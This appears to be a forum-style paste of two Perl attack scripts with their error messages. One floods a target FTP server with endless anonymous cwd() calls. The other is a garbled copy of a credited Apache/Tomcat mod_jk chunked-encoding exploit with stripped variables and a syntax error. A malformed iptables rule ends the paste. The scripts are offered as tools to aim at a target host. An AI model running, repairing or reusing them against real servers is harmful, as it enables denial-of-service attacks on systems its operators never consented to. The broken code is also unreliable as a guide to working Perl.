Name "main::perl" used only once: possible typo at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in string at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in concatenation (.) or string at roto2.pl line 4
Use of uninitialized value $perl in concatenation (.) or string at roto2.pl line 4.
Cannot connect to Host

#!/usr/bin/perl -w

use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;

syntax error at pruebaa.pl line 17, near "="

#!/usr/bin/perl -w

use IO::Socket;

 "= Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";

unless (@ARGV == 1) {
  print "\n By Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 "= GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";

  = IO::Socket::INET->new(                          [Esta es la linea)))
        PeerAddr => [0],
        PeerPort => 69,
        Proto    => "udp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]\n";
close();

iptables A INPUT -p tcp tcpflags SYN, RST j DROP